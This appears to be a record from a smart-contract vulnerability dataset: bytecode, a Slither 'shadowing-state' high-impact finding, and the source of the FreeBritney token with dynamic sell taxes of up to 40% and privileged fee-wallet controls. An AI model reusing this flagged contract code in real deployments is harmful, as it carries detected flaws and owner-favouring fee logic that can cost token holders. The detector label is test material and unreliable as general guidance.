06020018083116108c457829003601f168201915b5050505050905090565b60006108f8338484610f72565b6001905092915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610adf578082015181840152602081019050610ac4565b50505050905090810190601f168015610b0c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b2e57600080fd5b505af1158015610b42573d6000803e3d6000fd5b50505050600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610e87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561103d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561128c576111af81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115bc90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c7565b6112de81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139961134b606461133d605a8561164690919063ffffffff16565b61171390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115bc90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114626113f3600a8361171390919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115bc90919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111515156115ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015151561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415611659576000905061170d565b6000828402905082848281151561166c57fe5b04141515611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f81526020017f770000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b809150505b92915050565b6000808211151561178c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b6000828481151561179957fe5b049050809150509291505056fea165627a7a723058205575a7bb6d92891fb21008f76d43c735ef78b89add10d9fd831b949de000472c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 1,629 |
0x23262118c0c690c21166db407a94a3a14a0a1fa4
|
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-18
*/
/**
* .______ ______ ___ __ ___ _____
* https://t.me/FreeBritneyErc
* website coming
*
* Free britney is a meme token with a twist!
* Free britney has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*
*
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FreeBritney is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"FreeBritney";
string private constant _symbol = unicode"FB";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600b81526020017f46726565427269746e6579000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4642000000000000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000